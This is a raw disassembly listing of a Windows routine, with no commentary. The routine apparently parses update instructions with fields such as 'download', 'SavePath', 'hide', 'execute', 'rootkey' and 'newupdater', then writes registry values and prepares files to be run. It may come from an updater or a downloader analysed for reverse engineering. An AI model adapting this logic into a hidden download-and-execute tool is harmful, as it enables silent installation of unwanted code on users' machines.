push ecx
lea eax, [ebp-2140h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 5
call sub_4114FA
lea ecx, [ebp-100h]
call sub_406BA8
lea ecx, [ebp-100h]
mov byte ptr [ebp-4], 1
call sub_4068AF
loc_403632: ; CODE XREF: sub_403488+E4j
push offset aPaid ; "paid"
lea ecx, [ebp-3Ch]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-14h], 0
mov byte ptr [ebp-4], 6
jnz short loc_403655
push 80004003h
call sub_411822
loc_403655: ; CODE XREF: sub_403488+1C1j
mov ecx, [ebp-14h]
lea eax, [ebp-94h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-94h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-3Ch]
mov byte ptr [ebp-4], 1
call sub_4041A5
test bl, bl
jz loc_403753
cmp dword ptr [ebp-14h], 0
jnz short loc_4036A3
push 80004003h
call sub_411822
loc_4036A3: ; CODE XREF: sub_403488+20Fj
mov ecx, [ebp-14h]
lea eax, [ebp-0C4h]
push eax
call sub_40444A
mov ecx, [eax]
mov byte ptr [ebp-4], 7
test ecx, ecx
jz short loc_4036C3
call sub_404243
jmp short loc_4036C5
; ---------------------------------------------------------------------------
loc_4036C3: ; CODE XREF: sub_403488+232j
xor eax, eax
loc_4036C5: ; CODE XREF: sub_403488+239j
push eax
lea eax, [ebp-2140h]
push edi
push eax
call dword_4131E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-0C4h]
mov byte ptr [ebp-4], 1
call sub_4041A5
push 80000000h
push 1
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset byte_419C40
call sub_4114FA
push ecx
mov byte ptr [ebp-4], 8
mov ecx, esp
mov [ebp-0C8h], esp
push offset aWrP ; "WR\\p"
call sub_4114FA
lea ecx, [ebp-140h]
mov byte ptr [ebp-4], 1
call sub_40671B
push ecx
lea eax, [ebp-2140h]
mov ecx, esp
mov [ebp-20h], esp
push eax
mov byte ptr [ebp-4], 9
call sub_4114FA
lea ecx, [ebp-140h]
call sub_406BA8
lea ecx, [ebp-140h]
mov byte ptr [ebp-4], 1
call sub_4068AF
loc_403753: ; CODE XREF: sub_403488+205j
push offset aNextupdate ; "nextupdate"
lea ecx, [ebp-9Ch]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-14h], 0
mov byte ptr [ebp-4], 0Ah
jnz short loc_403779
push 80004003h
call sub_411822
loc_403779: ; CODE XREF: sub_403488+2E5j
mov ecx, [ebp-14h]
lea eax, [ebp-44h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-44h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-9Ch]
mov byte ptr [ebp-4], 1
call sub_4041A5
test bl, bl
jz loc_403864
cmp dword ptr [ebp-14h], 0
jnz short loc_4037C4
push 80004003h
call sub_411822
loc_4037C4: ; CODE XREF: sub_403488+330j
mov ecx, [ebp-14h]
lea eax, [ebp-4Ch]
push eax
call sub_40444A
mov ecx, [eax]
mov byte ptr [ebp-4], 0Bh
test ecx, ecx
jz short loc_4037E1
call sub_404243
jmp short loc_4037E3
; ---------------------------------------------------------------------------
loc_4037E1: ; CODE XREF: sub_403488+350j
xor eax, eax
loc_4037E3: ; CODE XREF: sub_403488+357j
push eax
lea eax, [ebp-2140h]
push edi
push eax
call dword_4131E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-4Ch]
mov byte ptr [ebp-4], 1
call sub_4041A5
lea eax, [ebp-2140h]
push eax
call dword_4131A0 ; atol
mov esi, eax
lea eax, [ebp-1Ch]
push eax
call dword_4131A4 ; time
pop ecx
add [ebp-1Ch], esi
pop ecx
push 80000000h
push 1
push 0
push ecx
mov ecx, esp
mov [ebp-20h], esp
push offset aWrNextupdate ; "WR\\nextupdate"
call sub_4114FA
lea ecx, [ebp-120h]
call sub_406374
push dword ptr [ebp-1Ch]
lea ecx, [ebp-120h]
mov byte ptr [ebp-4], 0Ch
call sub_406633
lea ecx, [ebp-120h]
mov byte ptr [ebp-4], 1
call sub_4064C6
loc_403864: ; CODE XREF: sub_403488+326j
push offset aDownload ; "download"
lea ecx, [ebp-54h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-14h], 0
mov byte ptr [ebp-4], 0Dh
jnz short loc_403887
push 80004003h
call sub_411822
loc_403887: ; CODE XREF: sub_403488+3F3j
mov ecx, [ebp-14h]
lea eax, [ebp-0DCh]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-0DCh]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-54h]
mov byte ptr [ebp-4], 1
call sub_4041A5
test bl, bl
jz loc_4040FB
cmp dword ptr [ebp-14h], 0
jnz short loc_4038D5
push 80004003h
call sub_411822
loc_4038D5: ; CODE XREF: sub_403488+441j
mov ecx, [ebp-14h]
lea eax, [ebp-18h]
push eax
call sub_4043E6
mov eax, [ebp-24h]
mov ecx, [ebp+0Ch]
imul eax, 1400Ch
mov byte ptr [ebp-4], 0Eh
mov ebx, 80004003h
lea edi, [eax+ecx+0A000h]
loc_4038FD: ; CODE XREF: sub_403488+C5Dj
push 0
lea ecx, [ebp-18h]
call sub_4062CB
test al, al
jnz loc_4040EA
cmp dword ptr [ebp-18h], 0
jnz short loc_40391B
push ebx
call sub_411822
loc_40391B: ; CODE XREF: sub_403488+48Bj
mov ecx, [ebp-18h]
lea eax, [ebp-10h]
push eax
call sub_4043E6
mov byte ptr [ebp-4], 0Fh
loc_40392B: ; CODE XREF: sub_403488+BDEj
push 0
lea ecx, [ebp-10h]
call sub_4062CB
test al, al
jnz loc_40406B
cmp dword ptr [ebp-10h], 0
jnz short loc_403949
push ebx
call sub_411822
loc_403949: ; CODE XREF: sub_403488+4B9j
mov ecx, [ebp-10h]
lea eax, [ebp-0A4h]
push eax
call sub_40444A
mov ecx, [eax]
mov byte ptr [ebp-4], 10h
test ecx, ecx
jz short loc_403969
call sub_404243
jmp short loc_40396B
; ---------------------------------------------------------------------------
loc_403969: ; CODE XREF: sub_403488+4D8j
xor eax, eax
loc_40396B: ; CODE XREF: sub_403488+4DFj
push eax
lea eax, [ebp-2140h]
push offset aS ; "%s"
push eax
call dword_4131E4 ; sprintf
add esp, 0Ch
lea ecx, [ebp-0A4h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
push offset aRootkey ; "rootkey"
lea ecx, [ebp-0CCh]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 11h
jnz short loc_4039B2
push ebx
call sub_411822
loc_4039B2: ; CODE XREF: sub_403488+522j
mov ecx, [ebp-10h]
lea eax, [ebp-5Ch]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-5Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0CCh]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_4039FD
lea eax, [ebp-2140h]
push eax
lea eax, [edi-2000h]
push eax
call dword_4130CC ; lstrcpyA
loc_4039FD: ; CODE XREF: sub_403488+55Fj
push offset aKey ; "key"
lea ecx, [ebp-0ACh]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 12h
jnz short loc_403A23
push 80004003h
call sub_411822
loc_403A23: ; CODE XREF: sub_403488+58Fj
mov ecx, [ebp-10h]
lea eax, [ebp-64h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-64h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0ACh]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403A68
lea eax, [ebp-2140h]
push eax
push edi
call dword_4130CC ; lstrcpyA
loc_403A68: ; CODE XREF: sub_403488+5D0j
push offset aKeyvalue ; "keyvalue"
lea ecx, [ebp-0D8h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 13h
jnz short loc_403A8E
push 80004003h
call sub_411822
loc_403A8E: ; CODE XREF: sub_403488+5FAj
mov ecx, [ebp-10h]
lea eax, [ebp-6Ch]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-6Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0D8h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403AD9
lea eax, [ebp-2140h]
push eax
lea eax, [edi+2000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403AD9: ; CODE XREF: sub_403488+63Bj
push offset aRequiredfile ; "requiredfile"
lea ecx, [ebp-0B4h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 14h
jnz short loc_403AFF
push 80004003h
call sub_411822
loc_403AFF: ; CODE XREF: sub_403488+66Bj
mov ecx, [ebp-10h]
lea eax, [ebp-74h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-74h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0B4h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403B4A
lea eax, [ebp-2140h]
push eax
lea eax, [edi+4000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403B4A: ; CODE XREF: sub_403488+6ACj
push offset aFilename ; "filename"
lea ecx, [ebp-0D4h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 15h
jnz short loc_403B70
push 80004003h
call sub_411822
loc_403B70: ; CODE XREF: sub_403488+6DCj
mov ecx, [ebp-10h]
lea eax, [ebp-7Ch]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-7Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0D4h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403BBB
lea eax, [ebp-2140h]
push eax
lea eax, [edi-0A000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403BBB: ; CODE XREF: sub_403488+71Dj
push offset aParameters ; "parameters"
lea ecx, [ebp-0BCh]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 16h
jnz short loc_403BE1
push 80004003h
call sub_411822
loc_403BE1: ; CODE XREF: sub_403488+74Dj
mov ecx, [ebp-10h]
lea eax, [ebp-30h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-30h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0BCh]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403C2C
lea eax, [ebp-2140h]
push eax
lea eax, [edi-8000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403C2C: ; CODE XREF: sub_403488+78Ej
push offset aSaveas ; "SaveAs"
lea ecx, [ebp-0E0h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 17h
jnz short loc_403C52
push 80004003h
call sub_411822
loc_403C52: ; CODE XREF: sub_403488+7BEj
mov ecx, [ebp-10h]
lea eax, [ebp-8Ch]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-8Ch]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0E0h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403CA3
lea eax, [ebp-2140h]
push eax
lea eax, [edi-6000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403CA3: ; CODE XREF: sub_403488+805j
push offset aSavepath ; "SavePath"
lea ecx, [ebp-38h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 18h
jnz short loc_403CC6
push 80004003h
call sub_411822
loc_403CC6: ; CODE XREF: sub_403488+832j
mov ecx, [ebp-10h]
lea eax, [ebp-34h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-34h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-38h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403D0E
lea eax, [ebp-2140h]
push eax
lea eax, [edi-4000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403D0E: ; CODE XREF: sub_403488+870j
push offset aHide ; "hide"
lea ecx, [ebp-48h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 19h
jnz short loc_403D31
push 80004003h
call sub_411822
loc_403D31: ; CODE XREF: sub_403488+89Dj
mov ecx, [ebp-10h]
lea eax, [ebp-40h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-40h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-48h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403D7E
cmp byte ptr [ebp-2140h], 30h
jnz short loc_403D77
and byte ptr [edi+0A001h], 0
jmp short loc_403D7E
; ---------------------------------------------------------------------------
loc_403D77: ; CODE XREF: sub_403488+8E4j
mov byte ptr [edi+0A001h], 1
loc_403D7E: ; CODE XREF: sub_403488+8DBj
; sub_403488+8EDj
push offset aExecute ; "execute"
lea ecx, [ebp-58h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Ah
jnz short loc_403DA1
push 80004003h
call sub_411822
loc_403DA1: ; CODE XREF: sub_403488+90Dj
mov ecx, [ebp-10h]
lea eax, [ebp-50h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-50h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-58h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403DEE
cmp byte ptr [ebp-2140h], 30h
jnz short loc_403DE7
and byte ptr [edi+0A002h], 0
jmp short loc_403DEE
; ---------------------------------------------------------------------------
loc_403DE7: ; CODE XREF: sub_403488+954j
mov byte ptr [edi+0A002h], 1
loc_403DEE: ; CODE XREF: sub_403488+94Bj
; sub_403488+95Dj
push offset aWait ; "wait"
lea ecx, [ebp-68h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Bh
jnz short loc_403E11
push 80004003h
call sub_411822
loc_403E11: ; CODE XREF: sub_403488+97Dj
mov ecx, [ebp-10h]
lea eax, [ebp-60h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-60h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-68h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403E5E
cmp byte ptr [ebp-2140h], 30h
jnz short loc_403E57
and byte ptr [edi+0A004h], 0
jmp short loc_403E5E
; ---------------------------------------------------------------------------
loc_403E57: ; CODE XREF: sub_403488+9C4j
mov byte ptr [edi+0A004h], 1
loc_403E5E: ; CODE XREF: sub_403488+9BBj
; sub_403488+9CDj
push offset aNewupdater ; "newupdater"
lea ecx, [ebp-78h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Ch
jnz short loc_403E81
push 80004003h
call sub_411822
loc_403E81: ; CODE XREF: sub_403488+9EDj
mov ecx, [ebp-10h]
lea eax, [ebp-70h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-70h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-78h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403ECE
cmp byte ptr [ebp-2140h], 30h
jnz short loc_403EC7
and byte ptr [edi+0A000h], 0
jmp short loc_403ECE
; ---------------------------------------------------------------------------
loc_403EC7: ; CODE XREF: sub_403488+A34j
mov byte ptr [edi+0A000h], 1
loc_403ECE: ; CODE XREF: sub_403488+A2Bj
; sub_403488+A3Dj
push offset aVersion_0 ; "version"
lea ecx, [ebp-88h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Dh
jnz short loc_403EF4
push 80004003h
call sub_411822
loc_403EF4: ; CODE XREF: sub_403488+A60j
mov ecx, [ebp-10h]
lea eax, [ebp-80h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-80h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-88h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403F3F
lea eax, [ebp-2140h]
push eax
lea eax, [edi+6000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403F3F: ; CODE XREF: sub_403488+AA1j
push offset aIdentifier ; "identifier"
lea ecx, [ebp-98h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Eh
jnz short loc_403F65
push 80004003h
call sub_411822
loc_403F65: ; CODE XREF: sub_403488+AD1j
mov ecx, [ebp-10h]
lea eax, [ebp-90h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-90h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-98h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_403FB6
lea eax, [ebp-2140h]
push eax
lea eax, [edi+8000h]
push eax
call dword_4130CC ; lstrcpyA
loc_403FB6: ; CODE XREF: sub_403488+B18j
push offset aCrc ; "crc"
lea ecx, [ebp-0A8h]
call sub_404151
mov esi, eax
cmp dword ptr [ebp-10h], 0
mov byte ptr [ebp-4], 1Fh
jnz short loc_403FDC
push 80004003h
call sub_411822
loc_403FDC: ; CODE XREF: sub_403488+B48j
mov ecx, [ebp-10h]
lea eax, [ebp-0A0h]
push eax
call sub_40430D
push esi
mov ecx, eax
call sub_4041B8
mov ebx, eax
lea ecx, [ebp-0A0h]
neg ebx
sbb bl, bl
inc bl
call sub_4041A5
lea ecx, [ebp-0A8h]
mov byte ptr [ebp-4], 0Fh
call sub_4041A5
test bl, bl
jz short loc_40402D
lea eax, [ebp-2140h]
push eax
call dword_4131A8 ; atoi
pop ecx
mov [edi+0A008h], eax
loc_40402D: ; CODE XREF: sub_403488+B8Fj
cmp dword ptr [ebp-10h], 0
jnz short loc_40403D
push 80004003h
call sub_411822
loc_40403D: ; CODE XREF: sub_403488+BA9j
mov ecx, [ebp-10h]
lea eax, [ebp-0B0h]
push eax
call sub_404418
push dword ptr [eax]
lea ecx, [ebp-10h]
call sub_4062A0
lea ecx, [ebp-0B0h]
call sub_406293
mov ebx, 80004003h
jmp loc_40392B
; ---------------------------------------------------------------------------
loc_40406B: ; CODE XREF: sub_403488+4AFj
lea esi, [edi-4000h]
push 0Ah
push offset aWindows ; "windows"
push esi
call dword_4131AC ; _strnicmp
add esp, 0Ch
test eax, eax
jnz short loc_4040A0
mov eax, [ebp-28h]
push dword ptr [eax+1Ch]
push esi
call sub_411628 ; strcpy
push offset dword_417130
push esi
call sub_411640 ; strcat
add esp, 10h
loc_4040A0: ; CODE XREF: sub_403488+BFCj
inc dword ptr [ebp-24h]
lea ecx, [ebp-10h]
add edi, 1400Ch
mov byte ptr [ebp-4], 0Eh
call sub_406293
cmp dword ptr [ebp-18h], 0
jnz short loc_4040C1
push ebx
call sub_411822
loc_4040C1: ; CODE XREF: sub_403488+C31j
mov ecx, [ebp-18h]
lea eax, [ebp-0B8h]
push eax
call sub_404418
push dword ptr [eax]
lea ecx, [ebp-18h]
call sub_4062A0
lea ecx, [ebp-0B8h]
call sub_406293
jmp loc_4038FD
; ---------------------------------------------------------------------------
loc_4040EA: ; CODE XREF: sub_403488+481j
lea ecx, [ebp-18h]
mov byte ptr [ebp-4], 1
call sub_406293
mov edi, offset aS ; "%s"
loc_4040FB: ; CODE XREF: sub_403488+437j
cmp dword ptr [ebp-14h], 0
jnz short loc_40410B
push 80004003h
call sub_411822
loc_40410B: ; CODE XREF: sub_403488+C77j
mov ecx, [ebp-14h]
lea eax, [ebp-2Ch]
push eax
call sub_404418
push dword ptr [eax]
lea ecx, [ebp-14h]
call sub_4062A0
lea ecx, [ebp-2Ch]
call sub_406293
xor ebx, ebx
jmp loc_4034FB
; ---------------------------------------------------------------------------
loc_404130: ; CODE XREF: sub_403488+7Ej
lea ecx, [ebp-14h]
call sub_406293
lea ecx, [ebp+8]
call sub_406293
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 8
sub_403488 endp
; =============== S U B R O U T I N E =======================================
sub_404151 proc near ; CODE XREF: sub_403488+8Fp
; sub_403488+1B2p ...
mov eax, offset loc_411DB2
call sub_41163A ; _EH_prolog
push ecx
push esi
mov esi, ecx
push 0Ch
call sub_4114F4
pop ecx
mov ecx, eax
mov [ebp-10h], ecx
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_40417E
push dword ptr [ebp+8]
call sub_4041E3
jmp short loc_404180
; ---------------------------------------------------------------------------
loc_40417E: ; CODE XREF: sub_404151+21j
xor eax, eax
loc_404180: ; CODE XREF: sub_404151+2Bj
or dword ptr [ebp-4], 0FFFFFFFFh
mov [esi], eax
test eax, eax
jnz short loc_404194
push 8007000Eh
call sub_411822
loc_404194: ; CODE XREF: sub_404151+37j
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_404151 endp
; =============== S U B R O U T I N E =======================================
sub_4041A5 proc near ; CODE XREF: sub_403488+CEp
; sub_403488+DDp ...
push esi
mov esi, ecx
mov ecx, [esi]
test ecx, ecx
jz short loc_4041B6
call sub_404216
and dword ptr [esi], 0
loc_4041B6: ; CODE XREF: sub_4041A5+7j
pop esi
retn
sub_4041A5 endp
; =============== S U B R O U T I N E =======================================
sub_4041B8 proc near ; CODE XREF: sub_403488+BBp
; sub_403488+1DFp ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, [ecx]
mov eax, [eax]
cmp ecx, eax
jnz short loc_4041C8
xor eax, eax
jmp short locret_4041E0
; ---------------------------------------------------------------------------
loc_4041C8: ; CODE XREF: sub_4041B8+Aj
test ecx, ecx
jnz short loc_4041D1
or eax, 0FFFFFFFFh
jmp short locret_4041E0
; ---------------------------------------------------------------------------
loc_4041D1: ; CODE XREF: sub_4041B8+12j
test eax, eax
jnz short loc_4041DA
push 1
pop eax
jmp short locret_4041E0
; ---------------------------------------------------------------------------
loc_4041DA: ; CODE XREF: sub_4041B8+1Bj
push eax
call sub_40426D
locret_4041E0: ; CODE XREF: sub_4041B8+Ej
; sub_4041B8+17j ...
retn 4
sub_4041B8 endp
; =============== S U B R O U T I N E =======================================
sub_4041E3 proc near ; CODE XREF: sub_404151+26p
; sub_409670+47p
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
and dword ptr [esi+4], 0
mov dword ptr [esi+8], 1
call sub_4118CF
test eax, eax
mov [esi], eax
jnz short loc_404210
cmp [esp+4+arg_0], eax
jz short loc_404210
push 8007000Eh
call sub_411822
loc_404210: ; CODE XREF: sub_4041E3+1Bj
; sub_4041E3+21j
mov eax, esi
pop esi
retn 4
sub_4041E3 endp
; =============== S U B R O U T I N E =======================================
sub_404216 proc near ; CODE XREF: sub_4041A5+9p
push esi
mov esi, ecx
push edi
lea edi, [esi+8]
push edi
call dword_4130C4 ; InterlockedDecrement
test eax, eax
jnz short loc_40423E
test esi, esi
jz short loc_40423A
mov ecx, esi
call sub_4042ED
push esi
call sub_4114EE
pop ecx
loc_40423A: ; CODE XREF: sub_404216+14j
xor eax, eax
jmp short loc_404240
; ---------------------------------------------------------------------------
loc_40423E: ; CODE XREF: sub_404216+10j
mov eax, [edi]
loc_404240: ; CODE XREF: sub_404216+26j
pop edi
pop esi
retn
sub_404216 endp
; =============== S U B R O U T I N E =======================================
sub_404243 proc near ; CODE XREF: sub_403488+113p
; sub_403488+234p ...
push esi
mov esi, ecx
cmp dword ptr [esi+4], 0
jnz short loc_404268
push dword ptr [esi]
call sub_411944
test eax, eax
mov [esi+4], eax
jnz short loc_404268
cmp [esi], eax
jz short loc_404268
push 8007000Eh
call sub_411822
loc_404268: ; CODE XREF: sub_404243+7j
; sub_404243+15j ...
mov eax, [esi+4]
pop esi
retn
sub_404243 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40426D proc near ; CODE XREF: sub_4041B8+23p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, ecx
push esi
push edi
mov eax, [ebx]
test eax, eax
jnz short loc_404286
mov eax, [ebp+arg_0]
mov eax, [eax]
neg eax
sbb eax, eax
jmp short loc_4042E6
; ---------------------------------------------------------------------------
loc_404286: ; CODE XREF: sub_40426D+Cj
mov edi, [ebp+arg_0]
cmp dword ptr [edi], 0
jnz short loc_404293
push 1
pop eax
jmp short loc_4042E6
; ---------------------------------------------------------------------------
loc_404293: ; CODE XREF: sub_40426D+1Fj
mov esi, dword_413278
push eax
call esi
push dword ptr [edi]
mov [ebp+arg_0], eax
call esi
mov edx, [ebp+arg_0]
cmp edx, eax
jbe short loc_4042AC
mov edx, eax
loc_4042AC: ; CODE XREF: sub_40426D+3Bj
mov ecx, [ebx]
mov edi, [edi]
loc_4042B0: ; CODE XREF: sub_40426D+57j
mov esi, edx
dec edx
test esi, esi
jbe short loc_4042D2
mov bx, [edi]
mov si, [ecx]
inc edi
inc edi
inc ecx
inc ecx
cmp si, bx
jz short loc_4042B0
movzx edx, word ptr [edi-2]
movzx eax, word ptr [ecx-2]
sub eax, edx
jmp short loc_4042E6
; ---------------------------------------------------------------------------
loc_4042D2: ; CODE XREF: sub_40426D+48j
cmp [ebp+arg_0], eax
jnb short loc_4042DC
or eax, 0FFFFFFFFh
jmp short loc_4042E6
; ---------------------------------------------------------------------------
loc_4042DC: ; CODE XREF: sub_40426D+68j
xor ecx, ecx
cmp [ebp+arg_0], eax
setnz cl
mov eax, ecx
loc_4042E6: ; CODE XREF: sub_40426D+17j
; sub_40426D+24j ...
pop edi
pop esi
pop ebx
pop ebp
retn 4
sub_40426D endp
; =============== S U B R O U T I N E =======================================
sub_4042ED proc near ; CODE XREF: sub_404216+18p
push esi
mov esi, ecx
mov eax, [esi]
test eax, eax
jz short loc_4042FD
push eax
call dword_413274
loc_4042FD: ; CODE XREF: sub_4042ED+7j
mov esi, [esi+4]
test esi, esi
jz short loc_40430B
push esi
call sub_4114EE
pop ecx
loc_40430B: ; CODE XREF: sub_4042ED+15j
pop esi
retn
sub_4042ED endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40430D proc near ; CODE XREF: sub_403488+B3p
; sub_403488+1D7p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
lea ecx, [ebp+var_4]
mov eax, [esi]
push ecx
push esi
call dword ptr [eax+1Ch]
test eax, eax
jge short loc_404332
push offset dword_417238
push esi
push eax
call sub_411830
loc_404332: ; CODE XREF: sub_40430D+17j
mov ecx, [ebp+arg_0]
push 0
push [ebp+var_4]
call sub_404347
mov eax, [ebp+arg_0]
pop esi
leave
retn 4
sub_40430D endp
; =============== S U B R O U T I N E =======================================
sub_404347 proc near ; CODE XREF: sub_40430D+2Dp
; sub_40444A+2Dp
mov eax, offset loc_411DC6
call sub_41163A ; _EH_prolog
push ecx
push esi
mov esi, ecx
push 0Ch
call sub_4114F4
pop ecx
mov ecx, eax
mov [ebp-10h], ecx
and dword ptr [ebp-4], 0
test ecx, ecx
jz short loc_404377
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call sub_40439E
jmp short loc_404379
; ---------------------------------------------------------------------------
loc_404377: ; CODE XREF: sub_404347+21j
xor eax, eax
loc_404379: ; CODE XREF: sub_404347+2Ej
or dword ptr [ebp-4], 0FFFFFFFFh
mov [esi], eax
test eax, eax
jnz short loc_40438D
push 8007000Eh
call sub_411822
loc_40438D: ; CODE XREF: sub_404347+3Aj
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 8
sub_404347 endp
; =============== S U B R O U T I N E =======================================
sub_40439E proc near ; CODE XREF: sub_404347+29p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push esi
mov esi, ecx
push edi
mov edi, [esp+8+arg_0]
and dword ptr [esi+4], 0
cmp [esp+8+arg_4], 0
mov dword ptr [esi+8], 1
jz short loc_4043DD
test edi, edi
jz short loc_4043DD
push edi
call dword_41326C
push eax
push edi
call dword_413270
test eax, eax
mov [esi], eax
jnz short loc_4043DF
push 8007000Eh
call sub_411822
jmp short loc_4043DF
; ---------------------------------------------------------------------------
loc_4043DD: ; CODE XREF: sub_40439E+18j
; sub_40439E+1Cj
mov [esi], edi
loc_4043DF: ; CODE XREF: sub_40439E+31j
; sub_40439E+3Dj
mov eax, esi
pop edi
pop esi
